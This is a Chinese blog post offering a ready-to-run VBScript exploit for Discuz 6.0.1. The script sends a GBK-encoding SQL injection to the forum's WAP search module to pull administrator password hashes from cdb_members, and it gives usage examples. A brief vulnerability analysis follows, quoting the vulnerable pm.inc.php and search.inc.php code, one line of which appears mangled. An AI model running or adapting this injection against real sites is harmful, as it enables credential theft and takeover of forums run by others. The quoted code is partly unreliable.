discuz获取任意管理员密码漏洞利用工具vbs版

本打算考虑写个python版的,考虑大家的机器环境还是弄了个vbs版

也利于修改

以下是search.inc.php 文件漏洞利用代码VBS版

 

Dim strUrl,strSite,strPath,strUid

showB()
Set Args = Wscript.Arguments

If Args.Count <> 3 Then
ShowU()
Else
strSite=Args(0)
strPath=Args(1)
strUid=Args(2)
End If

strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit"

   Set objXML = CreateObject("Microsoft.XMLHTTP")
   objXML.Open "POST",strSite & strPath & "index.php", False
   objXML.SetRequestHeader "Accept", "*/*"
   objXML.SetRequestHeader "Accept-Language", "zh-cn"
   objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
   objXML.SetRequestHeader "User-Agent", "wap"
   objXML.send(strUrl)
   wscript.echo(objXML.ResponseText)

Sub showB()
With Wscript
   .Echo("+--------------------------=====================------------------------------+")
   .Echo("Exploit discuz6.0.1")
   .Echo("Code By Safe3")
   .Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
   .Echo("+--------------------------=====================------------------------------+")
   .Echo("用法:")
   .Echo(" cscript "&.ScriptName&" site path uid")
   .Echo("例子:")
   .Echo(" cscript "&.ScriptName&" http://www.example.com/ /forum/ 1 >result.txt")
   .Echo("+--------------------------=====================------------------------------+")
   .Quit
End with
End Sub

获得的密码大家自己在result.txt中查找

以下漏洞分析来自冰封浪子

 

漏洞说明:Discuz 论坛系统 是一套采用php+mysql数据库方式运行,在其中发现了一个安全漏洞,成功利用此漏洞可以提取管理员的密码进入后台,取得管理员权限。

漏洞厂商:http://www.discuz.net/

漏洞解析:在Discuz的wap模块中的字符转码程序存在问题,在discuz的wap模块中,该编码转换类存在严重的问题。在Discuz中,wap是默认开启的,很容易被攻击者利用,这个问题存在与discuz所有版本中。
在discuz代码中存在多处可利用的地方,如:pm.inc.php/search.inc.php等,下面给出可疑代码片段:

 

pm.inc.php:
$floodctrl = $floodctrl * 2;
if($floodctrl && !$disablepostctrl && $timestamp - $lastpost < $floodctrl) {
 wapmsg(’pm_flood_ctrl’);
}

if($formhash != formhash()) {
 wapmsg(’wap_submit_invalid’);
}

$member = $db->fetch_first(”SELECT m.uid AS msgtoid, mf.ignorepm FROM {$tablepre}members m
 LEFT JOIN {$tablepre}memberfields mf USING (uid)
 WHERE username=’$msgto’”);
if(!$member) {
 wapmsg(’pm_send_nonexistence’);
}
if(preg_match(”/(^{ALL}$|(,|^)\s*”.preg_quote($discuz_user, ‘/’).”\s*(,|$))/i”, $member['ignorepm'])) {
 wapmsg(’pm_send_ignore’);
}
if(empty($subject) || empty($message)) {
 wapmsg(’pm_sm_isnull’);
}

search.inc.php:
if(isset($searchid)) {

$page = max(1, intval($page));
$start_limit = $number = ($page - 1) * $waptpp;

$index = $db->fetch_first(”SELECT searchstring, keywords, threads, tids FROM {$tablepre}searchindex WHERE searchid=’$searchid’”);
if(!$index) {
 wapmsg(’search_id_invalid1′);
}
$index['keywords'] = rawurlencode($index['keywords']);
$index['searchtype'] = preg_replace(”/^([a-z]+)\|.*/”, “http://www.cnblogs.com/Safe3/admin/file://0.0.0.1/“, $index['searchstring']);

$searchnum = $db->result_first(”SELECT COUNT(*) FROM  {$tablepre}threads WHERE tid IN ($index[tids]) AND displayorder>=’0′”);
if($searchnum) {
 echo “<p>$lang[search_result]<br />”;
 $query = $db->query(”SELECT * FROM {$tablepre}threads WHERE tid IN ($index[tids]) AND displayorder>=’0′ ORDER BY dateline DESC LIMIT $start_limit, $waptpp”);
 while($thread = $db->fetch_array($query)) {
  echo “<a href=\”index.php?action=thread&amp;tid=$thread[tid]\”>#”.++$number.” “.cutstr($thread['subject'], 24).”</a>($thread[views]/$thread[replies])<br />\n”;
 }
 echo wapmulti($searchnum, $waptpp, $page, “index.php?action=search&amp;searchid=$searchid&amp;do=submit&amp;sid=$sid”);
 echo ‘</p>’;
} else {
 wapmsg(’search_invalid’);
}
